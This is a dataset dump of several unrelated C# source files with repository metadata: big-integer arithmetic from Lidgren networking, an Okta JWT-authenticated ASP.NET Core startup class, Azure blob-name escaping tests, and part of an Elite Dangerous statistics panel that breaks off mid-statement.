(x[--iT] & IMASK) - (y[--iV] & IMASK) + borrow; x[iT] = (int)m; // borrow = (m < 0) ? -1 : 0; borrow = (int)(m >> 63); } while (iV > yStart); if (borrow != 0) { while (--x[--iT] == -1) { } } return x; } public NetBigInteger Subtract( NetBigInteger n) { if (n.m_sign == 0) return this; if (m_sign == 0) return n.Negate(); if (m_sign != n.m_sign) return Add(n.Negate()); int compare = CompareNoLeadingZeroes(0, m_magnitude, 0, n.m_magnitude); if (compare == 0) return Zero; NetBigInteger bigun, lilun; if (compare < 0) { bigun = n; lilun = this; } else { bigun = this; lilun = n; } return new NetBigInteger(m_sign * compare, doSubBigLil(bigun.m_magnitude, lilun.m_magnitude), true); } private static int[] doSubBigLil( int[] bigMag, int[] lilMag) { int[] res = (int[])bigMag.Clone(); return Subtract(0, res, 0, lilMag); } public byte[] ToByteArray() { return ToByteArray(false); } public byte[] ToByteArrayUnsigned() { return ToByteArray(true); } private byte[] ToByteArray( bool unsigned) { if (m_sign == 0) return unsigned ? ZeroEncoding : new byte[1]; int nBits = (unsigned && m_sign > 0) ? BitLength : BitLength + 1; int nBytes = GetByteLength(nBits); byte[] bytes = new byte[nBytes]; int magIndex = m_magnitude.Length; int bytesIndex = bytes.Length; if (m_sign > 0) { while (magIndex > 1) { uint mag = (uint)m_magnitude[--magIndex]; bytes[--bytesIndex] = (byte)mag; bytes[--bytesIndex] = (byte)(mag >> 8); bytes[--bytesIndex] = (byte)(mag >> 16); bytes[--bytesIndex] = (byte)(mag >> 24); } uint lastMag = (uint)m_magnitude[0]; while (lastMag > byte.MaxValue) { bytes[--bytesIndex] = (byte)lastMag; lastMag >>= 8; } bytes[--bytesIndex] = (byte)lastMag; } else // sign < 0 { bool carry = true; while (magIndex > 1) { uint mag = ~((uint)m_magnitude[--magIndex]); if (carry) { carry = (++mag == uint.MinValue); } bytes[--bytesIndex] = (byte)mag; bytes[--bytesIndex] = (byte)(mag >> 8); bytes[--bytesIndex] = (byte)(mag >> 16); bytes[--bytesIndex] = (byte)(mag >> 24); } uint lastMag = (uint)m_magnitude[0]; if (carry) { // Never wraps because magnitude[0] != 0 --lastMag; } while (lastMag > byte.MaxValue) { bytes[--bytesIndex] = (byte)~lastMag; lastMag >>= 8; } bytes[--bytesIndex] = (byte)~lastMag; if (bytesIndex > 0) { bytes[--bytesIndex] = byte.MaxValue; } } return bytes; } public override string ToString() { return ToString(10); } public string ToString( int radix) { switch (radix) { case 2: case 10: case 16: break; default: throw new FormatException("Only bases 2, 10, 16 are allowed"); } // NB: Can only happen to internally managed instances if (m_magnitude == null) return "null"; if (m_sign == 0) return "0"; Debug.Assert(m_magnitude.Length > 0); StringBuilder sb = new StringBuilder(); if (radix == 16) { sb.Append(m_magnitude[0].ToString("x")); for (int i = 1; i < m_magnitude.Length; i++) { sb.Append(m_magnitude[i].ToString("x8")); } } else if (radix == 2) { sb.Append('1'); for (int i = BitLength - 2; i >= 0; --i) { sb.Append(TestBit(i) ? '1' : '0'); } } else { // This is algorithm 1a from chapter 4.4 in Seminumerical Algorithms, slow but it works Stack S = new Stack(); NetBigInteger bs = ValueOf(radix); NetBigInteger u = Abs(); NetBigInteger b; while (u.m_sign != 0) { b = u.Mod(bs); if (b.m_sign == 0) { S.Push("0"); } else { // see how to interact with different bases S.Push(b.m_magnitude[0].ToString("d")); } u = u.Divide(bs); } // Then pop the stack while (S.Count != 0) { sb.Append((string)S.Pop()); } } string s = sb.ToString(); Debug.Assert(s.Length > 0); // Strip leading zeros. (We know this number is not all zeroes though) if (s[0] == '0') { int nonZeroPos = 0; while (s[++nonZeroPos] == '0') { } s = s.Substring(nonZeroPos); } if (m_sign == -1) { s = "-" + s; } return s; } private static NetBigInteger createUValueOf( ulong value) { int msw = (int)(value >> 32); int lsw = (int)value; if (msw != 0) return new NetBigInteger(1, new int[] { msw, lsw }, false); if (lsw != 0) { NetBigInteger n = new NetBigInteger(1, new int[] { lsw }, false); // Check for a power of two if ((lsw & -lsw) == lsw) { n.m_numBits = 1; } return n; } return Zero; } private static NetBigInteger createValueOf( long value) { if (value < 0) { if (value == long.MinValue) return createValueOf(~value).Not(); return createValueOf(-value).Negate(); } return createUValueOf((ulong)value); } public static NetBigInteger ValueOf( long value) { switch (value) { case 0: return Zero; case 1: return One; case 2: return Two; case 3: return Three; case 10: return Ten; } return createValueOf(value); } public int GetLowestSetBit() { if (m_sign == 0) return -1; int w = m_magnitude.Length; while (--w > 0) { if (m_magnitude[w] != 0) break; } int word = (int)m_magnitude[w]; Debug.Assert(word != 0); int b = (word & 0x0000FFFF) == 0 ? (word & 0x00FF0000) == 0 ? 7 : 15 : (word & 0x000000FF) == 0 ? 23 : 31; while (b > 0) { if ((word << b) == int.MinValue) break; b--; } return ((m_magnitude.Length - w) * 32 - (b + 1)); } public bool TestBit( int n) { if (n < 0) throw new ArithmeticException("Bit position must not be negative"); if (m_sign < 0) return !Not().TestBit(n); int wordNum = n / 32; if (wordNum >= m_magnitude.Length) return false; int word = m_magnitude[m_magnitude.Length - 1 - wordNum]; return ((word >> (n % 32)) & 1) > 0; } } #if WINDOWS_RUNTIME internal sealed class Stack { private System.Collections.Generic.List<object> m_list = new System.Collections.Generic.List<object>(); public int Count { get { return m_list.Count; } } public void Push(object item) { m_list.Add(item); } public object Pop() { var item = m_list[m_list.Count - 1]; m_list.RemoveAt(m_list.Count - 1); return item; } } #endif }
20.516088
106
0.519718
[ "MIT" ]
ShadowCommander/lidgren-network-gen3
Lidgren.Network/NetBigInteger.cs
48,461
C#
using Microsoft.AspNetCore.Authentication.JwtBearer; using Microsoft.AspNetCore.Builder; using Microsoft.AspNetCore.Hosting; using Microsoft.Extensions.Configuration; using Microsoft.Extensions.DependencyInjection; using Okta.AspNetCore; namespace okta_aspnetcore_webapi_example { public class Startup { public Startup(IConfiguration configuration) { Configuration = configuration; } public IConfiguration Configuration { get; } // This method gets called by the runtime. Use this method to add services to the container. public void ConfigureServices(IServiceCollection services) { services.AddAuthentication(options => { options.DefaultAuthenticateScheme = OktaDefaults.ApiAuthenticationScheme; options.DefaultChallengeScheme = OktaDefaults.ApiAuthenticationScheme; options.DefaultSignInScheme = OktaDefaults.ApiAuthenticationScheme; }) .AddOktaWebApi(new OktaWebApiOptions() { ClientId = Configuration["Okta:ClientId"], OktaDomain = Configuration["Okta:OktaDomain"], }); services.AddMvc(); } // This method gets called by the runtime. Use this method to configure the HTTP request pipeline. public void Configure(IApplicationBuilder app, IHostingEnvironment env) { if (env.IsDevelopment()) { app.UseDeveloperExceptionPage(); } app.UseDefaultFiles(); app.UseStaticFiles(); app.UseAuthentication(); app.UseMvc(); } } }
33.096154
106
0.629866
[ "Apache-2.0" ]
kam-ahuja/samples-aspnetcore
resource-server/okta-aspnetcore-webapi-example/Startup.cs
1,723
C#
// ----------------------------------------------------------------------------------------- // <copyright file="EscapingTests.cs" company="Microsoft"> // Copyright 2013 Microsoft Corporation // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // </copyright> // ----------------------------------------------------------------------------------------- using Microsoft.VisualStudio.TestTools.UnitTesting; using System; using System.Linq; namespace Microsoft.WindowsAzure.Storage.Blob { [TestClass] public class EscapingTests : BlobTestBase { internal const string UnreservedCharacters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-._~"; internal const string GenDelimeters = "?#[]@"; internal const string SubDelimeters = "!$'()*+,;="; // // Use TestInitialize to run code before running each test [TestInitialize()] public void MyTestInitialize() { if (TestBase.BlobBufferManager != null) { TestBase.BlobBufferManager.OutstandingBufferCount = 0; } } // // Use TestCleanup to run code after each test has run [TestCleanup()] public void MyTestCleanup() { if (TestBase.BlobBufferManager != null) { Assert.AreEqual(0, TestBase.BlobBufferManager.OutstandingBufferCount); } } [TestMethod] [Description("The test case for unsafe chars")] [TestCategory(ComponentCategory.Blob)] [TestCategory(TestTypeCategory.UnitTest)] [TestCategory(SmokeTestCategory.NonSmoke)] [TestCategory(TenantTypeCategory.DevStore), TestCategory(TenantTypeCategory.DevFabric), TestCategory(TenantTypeCategory.Cloud)] public void PrefixTestWithSpace() { PrefixEscapingTest("prefix test", "blob test"); } [TestMethod] [Description("The test case for escape chars")] [TestCategory(ComponentCategory.Blob)] [TestCategory(TestTypeCategory.UnitTest)] [TestCategory(SmokeTestCategory.NonSmoke)] [TestCategory(TenantTypeCategory.DevStore), TestCategory(TenantTypeCategory.DevFabric), TestCategory(TenantTypeCategory.Cloud)] public void PrefixTestWithPercent20() { PrefixEscapingTest("prefix%20test", "blob%20test"); } [TestMethod] [Description("The test case for unreserved chars")] [TestCategory(ComponentCategory.Blob)] [TestCategory(TestTypeCategory.UnitTest)] [TestCategory(SmokeTestCategory.NonSmoke)] [TestCategory(TenantTypeCategory.DevStore), TestCategory(TenantTypeCategory.DevFabric), TestCategory(TenantTypeCategory.Cloud)] public void PrefixTestWithUnreservedCharacters() { PrefixEscapingTest(UnreservedCharacters, UnreservedCharacters); } [TestMethod] [Description("The test case for reserved chars(Gen-Delimeters)")] [TestCategory(ComponentCategory.Blob)] [TestCategory(TestTypeCategory.UnitTest)] [TestCategory(SmokeTestCategory.NonSmoke)] [TestCategory(TenantTypeCategory.DevStore), TestCategory(TenantTypeCategory.DevFabric), TestCategory(TenantTypeCategory.Cloud)] public void PrefixTestWithGenDelimeter() { PrefixEscapingTest(GenDelimeters, GenDelimeters); } [TestMethod] [Description("The test case for reserved chars(Sub-Delimeters)")] [TestCategory(ComponentCategory.Blob)] [TestCategory(TestTypeCategory.UnitTest)] [TestCategory(SmokeTestCategory.NonSmoke)] [TestCategory(TenantTypeCategory.DevStore), TestCategory(TenantTypeCategory.DevFabric), TestCategory(TenantTypeCategory.Cloud)] public void PrefixTestWithSubDelimeter() { PrefixEscapingTest(SubDelimeters, SubDelimeters); } [TestMethod] [Description("The test case for unicode chars")] [TestCategory(ComponentCategory.Blob)] [TestCategory(TestTypeCategory.UnitTest)] [TestCategory(SmokeTestCategory.NonSmoke)] [TestCategory(TenantTypeCategory.DevStore), TestCategory(TenantTypeCategory.DevFabric), TestCategory(TenantTypeCategory.Cloud)] public void PrefixTestWithUnicode() { PrefixEscapingTest("prefix中文test", "char中文test"); } private void PrefixEscapingTest(string prefix, string blobName) { CloudBlobClient service = GenerateCloudBlobClient(); CloudBlobContainer container = GetRandomContainerReference(); try { container.Create(); string text = Guid.NewGuid().ToString(); // Create from CloudBlobContainer. CloudBlockBlob originalBlob = container.GetBlockBlobReference(prefix + "/" + blobName); originalBlob.PutBlockList(new string[] { }); // List blobs from container. IListBlobItem blobFromContainerListingBlobs = container.ListBlobs(null, true).First(); Assert.AreEqual(originalBlob.Uri, blobFromContainerListingBlobs.Uri); CloudBlockBlob uriBlob = new CloudBlockBlob(originalBlob.Uri, service.Credentials); // Check Name Assert.AreEqual<string>(prefix + "/" + blobName, originalBlob.Name); Assert.AreEqual<string>(prefix + "/" + blobName, uriBlob.Name); // Absolute URI access from CloudBlockBlob CloudBlockBlob blobInfo = new CloudBlockBlob(originalBlob.Uri, service.Credentials); blobInfo.FetchAttributes(); // Access from CloudBlobDirectory CloudBlobDirectory cloudBlobDirectory = container.GetDirectoryReference(prefix); CloudBlockBlob blobFromCloudBlobDirectory = cloudBlobDirectory.GetBlockBlobReference(blobName); Assert.AreEqual(blobInfo.Uri, blobFromCloudBlobDirectory.Uri); // Copy blob verification. CloudBlockBlob copyBlob = container.GetBlockBlobReference(prefix + "/" + blobName + "copy"); copyBlob.StartCopyFromBlob(blobInfo.Uri); copyBlob.FetchAttributes(); } finally { container.Delete(); } } } }
42.846626
135
0.63803
[ "Apache-2.0" ]
Hitcents/azure-storage-net
Test/ClassLibraryCommon/Blob/EscapingTests.cs
6,994
C#
/* * Copyright © 2016 - 2017 EDDiscovery development team * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this * file except in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under * the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF * ANY KIND, either express or implied. See the License for the specific language * governing permissions and limitations under the License. * * EDDiscovery is not affiliated with Frontier Developments plc. */ using EliteDangerousCore; using EliteDangerousCore.DB; using EliteDangerousCore.JournalEvents; using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Threading; using System.Windows.Forms; using System.Windows.Forms.DataVisualization.Charting; namespace EDDiscovery.UserControls { public partial class UserControlStats : UserControlCommonBase { private string dbSelectedTabSave = "SelectedTab"; private string dbStartDate = "StartDate"; private string dbStartDateOn = "StartDateChecked"; private string dbEndDate = "EndDate"; private string dbEndDateOn = "EndDateChecked"; private string dbStatsTreeStateSave = "TreeExpanded"; private string dbScanSummary = "ScanSummary"; private string dbScanDWM = "ScanDWM"; private string dbTravelSummary = "TravelSummary"; private string dbTravelDWM = "TravelDWM"; private string dbShip = "Ship"; private Thread StatsThread; private bool Exit = false; private bool Running = false; private bool endchecked, startchecked; private Stats currentstats; private Chart mostVisitedChart { get; set; } Queue<JournalEntry> entriesqueued = new Queue<JournalEntry>(); // we queue into here new entries, and dequeue in update. #region Init public UserControlStats() { InitializeComponent(); } public override void Init() { DBBaseName = "Stats"; tabControlCustomStats.SelectedIndex = GetSetting(dbSelectedTabSave, 0); userControlStatsTimeScan.EnableDisplayStarsPlanetSelector(); BaseUtils.Translator.Instance.Translate(this); try { Chart chart = new Chart(); // create a chart, to see if it works, may not on all platforms ChartArea chartArea1 = new ChartArea(); Series series1 = new Series(); chart.BeginInit(); chart.BorderlineDashStyle = ChartDashStyle.Solid; chartArea1.Name = "ChartArea1"; chart.ChartAreas.Add(chartArea1); chart.Location = new Point(3, 250); chart.Name = "mostVisited"; series1.ChartArea = "ChartArea1"; series1.Name = "Series1"; chart.Series.Add(series1); chart.Size = new Size(482, 177); chart.TabIndex = 5; chart.Text = "Most Visited"; chart.Visible = false; this.panelGeneral.Controls.Add(chart); this.mostVisitedChart = chart; chart.EndInit(); } catch (NotImplementedException) { // Charting not implemented in mono System.Windows.Forms } discoveryform.OnRefreshCommanders += Discoveryform_OnRefreshCommanders; discoveryform.OnNewEntry += AddNewEntry; dateTimePickerStartDate.Value = GetSetting(dbStartDate, new DateTime(2014, 12, 14)); startchecked = dateTimePickerStartDate.Checked = GetSetting(dbStartDateOn, false); dateTimePickerEndDate.Value = GetSetting(dbEndDate, new DateTime(DateTime.Now.Year, DateTime.Now.Month, DateTime.Now.Day)); endchecked = dateTimePickerEndDate.Checked = GetSetting(dbEndDateOn, false); dateTimePickerStartDate.ValueChanged += DateTimePicker_ValueChangedStart; dateTimePickerEndDate.ValueChanged += DateTimePicker_ValueChangedEnd; labelStatus.Text = ""; } public override void InitialDisplay() { if ( discoveryform.history.Count>0 ) // if we loaded a history, this is a new panel, so work StartThread(); } public override void Closing() { StopThread(); PutSetting(dbStatsTreeStateSave, GameStatTreeState()); if (dataGridViewScan.Columns.Count > 0) // anything to save.. DGVSaveColumnLayout(dataGridViewScan, dataGridViewScan.Columns.Count <= 8 ? dbScanSummary : dbScanDWM); if (dataGridViewTravel.Columns.Count > 0) DGVSaveColumnLayout(dataGridViewTravel, dataGridViewTravel.Columns.Count <= 8 ? dbTravelSummary : dbTravelDWM); if ( dataGridViewByShip.Columns.Count>0 ) DGVSaveColumnLayout(dataGridViewByShip, dbShip); discoveryform.OnRefreshCommanders -= Discoveryform_OnRefreshCommanders; discoveryform.OnNewEntry -= AddNewEntry; } protected override void OnLayout(LayoutEventArgs e) { dataGridViewTravel.RowTemplate.MinimumHeight = dataGridViewScan.RowTemplate.MinimumHeight = dataGridViewByShip.RowTemplate.MinimumHeight = dataGridViewGeneral.RowTemplate.MinimumHeight = Font.ScalePixels(24); int height = 0; foreach (DataGridViewRow row in dataGridViewGeneral.Rows) { height += row.Height + 1; } height += dataGridViewGeneral.ColumnHeadersHeight + 2; dataGridViewGeneral.Height = height; var width = panelGeneral.Width - panelGeneral.ScrollBarWidth - dataGridViewGeneral.Left; dataGridViewGeneral.Width = width; if (mostVisitedChart != null) { mostVisitedChart.Width = width; mostVisitedChart.Top = dataGridViewGeneral.Bottom + 8; } base.OnLayout(e); } private void tabControlCustomStats_SelectedIndexChanged(object sender, EventArgs e) // tab change. { PutSetting(dbSelectedTabSave, tabControlCustomStats.SelectedIndex); Display(); } private void Discoveryform_OnRefreshCommanders() { StartThread(); } private void DateTimePicker_ValueChangedStart(object sender, EventArgs e) { if (startchecked != dateTimePickerStartDate.Checked || dateTimePickerStartDate.Checked) // if check changed, or date changed and its checked StartThread(); startchecked = dateTimePickerStartDate.Checked; PutSetting(dbStartDate, dateTimePickerStartDate.Value); PutSetting(dbStartDateOn, dateTimePickerStartDate.Checked); } private void DateTimePicker_ValueChangedEnd(object sender, EventArgs e) { if (endchecked != dateTimePickerEndDate.Checked || dateTimePickerEndDate.Checked) StartThread(); endchecked = dateTimePickerEndDate.Checked; PutSetting(dbEndDate, dateTimePickerEndDate.Value); PutSetting(dbEndDateOn, dateTimePickerEndDate.Checked); } #endregion #region Stats Computation private class Stats { public struct JumpInfo { public string bodyname; public DateTime utc; public int boostvalue; public double jumpdist; public string shipid; }; public class ScanInfo { public DateTime utc; public ScanEstimatedValues ev; public EDStar? starid; public EDPlanet planetid; public string bodyname; public bool? wasdiscovered; public bool? wasmapped; public bool mapped; public bool efficientlymapped; public string shipid; }; public class ScanCompleteInfo { public DateTime utc; public string bodyname; public bool efficientlymapped; } public class JetConeBoostInfo { public DateTime utc; } public class ScansAreForSameBody : EqualityComparer<ScanInfo> { public override bool Equals(ScanInfo x, ScanInfo y) { return x.bodyname == y.bodyname; } public override int GetHashCode(ScanInfo obj) { return obj.bodyname.GetHashCode(); } } public class ShipInfo { public string name; public string ident; public int died; } public List<JumpInfo> FSDJumps; public List<ScanInfo> Scans; public List<ScanCompleteInfo> ScanComplete; public List<JetConeBoostInfo> JetConeBoost; public Dictionary<string, ShipInfo> Ships; public JournalLocOrJump MostNorth; public JournalLocOrJump MostSouth; public JournalLocOrJump MostEast; public JournalLocOrJump MostWest; public JournalLocOrJump MostUp; public JournalLocOrJump MostDown; public DateTime lastdocked; public string currentshipid; public JournalStatistics laststats; public int fsdcarrierjumps; public Stats() { FSDJumps = new List<JumpInfo>(); Scans = new List<ScanInfo>(); ScanComplete = new List<ScanCompleteInfo>(); JetConeBoost = new List<JetConeBoostInfo>(); Ships = new Dictionary<string, ShipInfo>(); lastdocked = DateTime.UtcNow; } }; private void StartThread() { StopThread(); // stop current computation.. Running = true; Exit = false; entriesqueued.Clear(); // clear the queue, any new entries will just be stored into entriesqueued and not displayed until the end //System.Diagnostics.Debug.WriteLine("Kick off stats thread " + DBName("")); StatsThread = new System.Threading.Thread(new System.Threading.ThreadStart(StatisticsThread)); StatsThread.Name = "Stats"; StatsThread.IsBackground = true; StatsThread.Start(); labelStatus.Text = "Working.."; } private void StopThread() { if (StatsThread != null && StatsThread.IsAlive) { Exit = true; StatsThread.Join(); } StatsThread = null; Exit = false; labelStatus.Text = ""; } private void StatisticsThread() { var stats = new Stats(); int cmdrid = EDCommander.CurrentCmdrID; if (cmdrid >= 0) { JournalTypeEnum[] events = new JournalTypeEnum[] // { JournalTypeEnum.FSDJump, JournalTypeEnum.CarrierJump, JournalTypeEnum.Location, JournalTypeEnum.Docked, JournalTypeEnum.JetConeBoost, JournalTypeEnum.Scan, JournalTypeEnum.SAAScanComplete, JournalTypeEnum.Docked, JournalTypeEnum.ShipyardNew, JournalTypeEnum.ShipyardSwap, JournalTypeEnum.LoadGame, JournalTypeEnum.Statistics, JournalTypeEnum.SetUserShipName, JournalTypeEnum.Loadout, JournalTypeEnum.Died, }; DateTime? start = dateTimePickerStartDate.Checked ? EDDConfig.Instance.ConvertTimeToUTCFromSelected(dateTimePickerStartDate.Value) : default(DateTime?); DateTime? end = dateTimePickerEndDate.Checked ? EDDConfig.Instance.ConvertTimeToUTCFromSelected(dateTimePickerEndDate.Value.EndOfDay()) : default(DateTime?); // read journal for cmdr with these events and pass thru NewJE. var jlist = JournalEntry.GetAll(cmdrid, ids: events, startdateutc: start, enddateutc: end); foreach (var e in jlist) // fire through stats NewJE(e, stats); } if (Exit == false) // if not forced stop, call end compuation.. else just exit without completion BeginInvoke((MethodInvoker)(() => { EndComputation(stats); })); } private bool NewJE(JournalEntry ev, Stats st) { // System.Diagnostics.Debug.WriteLine("{0} Stats JE {1} {2}", DBName("") , ev.EventTimeUTC, ev.EventTypeStr); switch (ev.EventTypeID) { case JournalTypeEnum.FSDJump: case JournalTypeEnum.Location: case JournalTypeEnum.CarrierJump: { JournalLocOrJump jl = ev as JournalLocOrJump; //System.Diagnostics.Debug.WriteLine("NS System {0} {1}", jl.EventTimeUTC, jl.StarSystem); if (jl.HasCoordinate) { if (st.MostNorth == null || st.MostNorth.StarPos.Z < jl.StarPos.Z) st.MostNorth = jl; if (st.MostSouth == null || st.MostSouth.StarPos.Z > jl.StarPos.Z) st.MostSouth = jl; if (st.MostEast == null || st.MostEast.StarPos.X < jl.StarPos.X) st.MostEast = jl; if (st.MostWest == null || st.MostWest.StarPos.X > jl.StarPos.X) st.MostWest = jl; if (st.MostUp == null || st.MostUp.StarPos.Y < jl.StarPos.Y) st.MostUp = jl; if (st.MostDown == null || st.MostDown.StarPos.Y > jl.StarPos.Y) st.MostDown = jl; } JournalFSDJump fsd = ev as JournalFSDJump; if (fsd != null) { st.fsdcarrierjumps++; st.FSDJumps.Add(new Stats.JumpInfo() { utc = fsd.EventTimeUTC, jumpdist = fsd.JumpDist, boostvalue = fsd.BoostValue, shipid = st.currentshipid, bodyname = fsd.StarSystem }); } else if ( ev.EventTypeID == JournalTypeEnum.CarrierJump) { st.fsdcarrierjumps++; } break; } case JournalTypeEnum.Scan: { JournalScan sc = ev as JournalScan; Stats.ScanCompleteInfo sci = st.ScanComplete.Find(x => x.bodyname == sc.BodyName); // see if we have a Scancomplete already bool mapped = sci != null; bool effcientlymapped = sci?.efficientlymapped ?? false; st.Scans.Add(new Stats.ScanInfo() { utc = sc.EventTimeUTC, ev = sc.GetEstimatedValues(), bodyname = sc.BodyName, starid = sc.IsStar ? sc.StarTypeID : default(EDStar?), planetid = sc.PlanetTypeID, wasdiscovered = sc.WasDiscovered, wasmapped = sc.WasMapped, mapped = mapped, efficientlymapped = effcientlymapped, shipid = st.currentshipid }); break; } case JournalTypeEnum.SAAScanComplete: { JournalSAAScanComplete sc = ev as JournalSAAScanComplete; bool em = sc.ProbesUsed <= sc.EfficiencyTarget; st.ScanComplete.Add(new Stats.ScanCompleteInfo() { utc = sc.EventTimeUTC, bodyname = sc.BodyName, efficientlymapped = em }); Stats.ScanInfo sci = st.Scans.Find(x => x.bodyname == sc.BodyName); if (sci != null) { sci.mapped = true; sci.efficientlymapped = em; } break; } case JournalTypeEnum.JetConeBoost: { st.JetConeBoost.Add(new Stats.JetConeBoostInfo() { utc = ev.EventTimeUTC }); break; } case JournalTypeEnum.Docked: { st.lastdocked = ev.EventTimeUTC; break; } case JournalTypeEnum.ShipyardSwap: { var j = ev as JournalShipyardSwap; st.currentshipid = j.ShipType + ":" + j.ShipId.ToStringInvariant(); break; } case JournalTypeEnum.ShipyardNew: { var j = ev as JournalShipyardNew; st.currentshipid = j.ShipType + ":" + j.ShipId.ToStringInvariant(); break; } case JournalTypeEnum.LoadGame: { var j = ev as JournalLoadGame; st.currentshipid = j.Ship + ":" + j.ShipId.ToStringInvariant(); // System.Diagnostics.Debug.WriteLine("Stats Loadgame ship details {0} {1} {2} {3}", j.EventTimeUTC, j.ShipFD, j.ShipName, j.ShipIdent); if (!st.Ships.TryGetValue(st.currentshipid, out var cls)) cls = new Stats.ShipInfo(); cls.ident = j.ShipIdent; cls.name = j.ShipName; System.Diagnostics.Debug.Assert(st.currentshipid != null); st.Ships[st.currentshipid] = cls; break; } case JournalTypeEnum.Loadout: { var j = ev as JournalLoadout; st.currentshipid = j.Ship + ":" + j.ShipId.ToStringInvariant(); //System.Diagnostics.Debug.WriteLine("Stats loadout ship details {0} {1} {2} {3} now {4}", j.EventTimeUTC, j.ShipFD, j.ShipName, j.ShipIdent, st.currentshipid); if (!st.Ships.TryGetValue(st.currentshipid, out var cls)) cls = new Stats.ShipInfo(); cls.ident = j.ShipIdent; cls.name = j.ShipName; System.Diagnostics.Debug.Assert(st.currentshipid != null); st.Ships[st.currentshipid] = cls; break; } case JournalTypeEnum.SetUserShipName: { var j = ev as JournalSetUserShipName; st.currentshipid = j.Ship + ":" + j.ShipID.ToStringInvariant(); if (!st.Ships.TryGetValue(st.currentshipid, out var cls)) cls = new Stats.ShipInfo(); cls.ident = j.ShipIdent; cls.name = j.ShipName; System.Diagnostics.Debug.Assert(st.currentshipid != null); st.Ships[st.currentshipid] = cls; break; } case JournalTypeEnum.Died: { if (st.currentshipid.HasChars()) { var j = ev as JournalDied; if (!st.Ships.TryGetValue(st.currentshipid, out var cls)) cls = new Stats.ShipInfo(); cls.died++; //System.Diagnostics.Debug.WriteLine("Died {0} {1}", st.currentshipid, cls.died); System.Diagnostics.Debug.Assert(st.currentshipid != null); st.Ships[st.currentshipid] = cls; } break; } case JournalTypeEnum.Statistics: { st.laststats = ev as JournalStatistics; break; } } return Exit == false; } private void EndComputation(Stats s) // foreground thread, end of thread computation { System.Diagnostics.Debug.Assert(Application.MessageLoop); currentstats = s; Running = false; // now go into normal non running mode where add new entry updates it labelStatus.Text = ""; Display(); } private void AddNewEntry(HistoryEntry he, HistoryList hl) { if (!dateTimePickerEndDate.Checked || he.journalEntry.EventTimeLocal <= dateTimePickerEndDate.Value.EndOfDay()) // ignore if past the end of of the current sel range { entriesqueued.Enqueue(he.journalEntry); if (!Running) // Running is true between foreground thread OnRefreshCommanders and foreground EndComputation, so no race condition Display(); } } #endregion #region Update private void Display() { if (currentstats == null) // double check return; while (entriesqueued.Count > 0) { NewJE(entriesqueued.Dequeue(), currentstats); // process any queued entries } DateTime endtimelocal = dateTimePickerEndDate.Checked ? dateTimePickerEndDate.Value.EndOfDay() : DateTime.Now.EndOfDay(); if (tabControlCustomStats.SelectedIndex == 0) StatsGeneral(endtimelocal); else if (tabControlCustomStats.SelectedIndex == 1) StatsTravel(endtimelocal); else if (tabControlCustomStats.SelectedIndex == 2) StatsScan(endtimelocal); else if (tabControlCustomStats.SelectedIndex == 3) StatsGame(); else if (tabControlCustomStats.SelectedIndex == 4) StatsByShip(); } #endregion #region Stats General ************************************************************************************************************** private void StatsGeneral(DateTime endtimelocal) { DGVGeneral("Total No of jumps".T(EDTx.UserControlStats_TotalNoofjumps), currentstats.fsdcarrierjumps.ToString()); if (currentstats.FSDJumps.Count > 0) // these will be null unless there are jumps { DGVGeneral("FSD jumps".T(EDTx.UserControlStats_FSDjumps), currentstats.FSDJumps.Count.ToString()); DateTime endtimeutc = endtimelocal.ToUniversalTime(); DGVGeneral("FSD Jump History".T(EDTx.UserControlStats_JumpHistory), "24 Hours: ".T(EDTx.UserControlStats_24hc) + currentstats.FSDJumps.Where(x => x.utc >= endtimeutc.AddHours(-24)).Count() + ", One Week: ".T(EDTx.UserControlStats_OneWeek) + currentstats.FSDJumps.Where(x => x.utc >= endtimeutc.AddDays(-7)).Count() + ", 30 Days: ".T(EDTx.UserControlStats_30Days) + currentstats.FSDJumps.Where(x => x.utc >= endtimeutc.AddDays(-30)).Count() + ", One Year: ".T(EDTx.UserControlStats_OneYear) + currentstats.FSDJumps.Where(x => x.utc >= endtimeutc.AddDays(-365)).Count() ); DGVGeneral("Most North".T(EDTx.UserControlStats_MostNorth), GetSystemDataString(currentstats.MostNorth)); DGVGeneral("Most South".T(EDTx.UserControlStats_MostSouth), GetSystemDataString(currentstats.MostSouth)); DGVGeneral("Most East".T(EDTx.UserControlStats_MostEast), GetSystemDataString(currentstats.MostEast)); DGVGeneral("Most West".T(EDTx.UserControlStats_MostWest), GetSystemDataString(currentstats.MostWest)); DGVGeneral("Most Highest".T(EDTx.UserControlStats_MostHighest), GetSystemDataString(currentstats.MostUp)); DGVGeneral("Most Lowest".T(EDTx.UserControlStats_MostLowest), GetSystemDataString(currentstats.MostDown)); if (mostVisitedChart != null) // chart exists { mostVisitedChart.Visible = true; Color GridC = discoveryform.theme.GridBorderLines; Color TextC = discoveryform.theme.GridCellText; mostVisitedChart.Titles.Clear(); mostVisitedChart.Titles.Add(new Title("Most Visited".T(EDTx.UserControlStats_MostVisited), Docking.Top, discoveryform.theme.GetFont, TextC)); mostVisitedChart.Series[0].Points.Clear(); mostVisitedChart.ChartAreas[0].AxisX.LabelStyle.ForeColor = TextC; mostVisitedChart.ChartAreas[0].AxisY.LabelStyle.ForeColor = TextC; mostVisitedChart.ChartAreas[0].AxisX.MajorGrid.LineColor = GridC; mostVisitedChart.ChartAreas[0].AxisX.MinorGrid.LineColor = GridC; mostVisitedChart.ChartAreas[0].AxisY.MajorGrid.LineColor = GridC; mostVisitedChart.ChartAreas[0].AxisY.MinorGrid.LineColor = GridC; mostVisitedChart.ChartAreas[0].BorderColor = GridC; mostVisitedChart.ChartAreas[0].BorderDashStyle = ChartDashStyle.Solid; mostVisitedChart.ChartAreas[0].BorderWidth = 2; mostVisitedChart.ChartAreas[0].BackColor = Color.Transparent; mostVisitedChart.Series[0].Color = GridC; mostVisitedChart.BorderlineColor = Color.Transparent; var 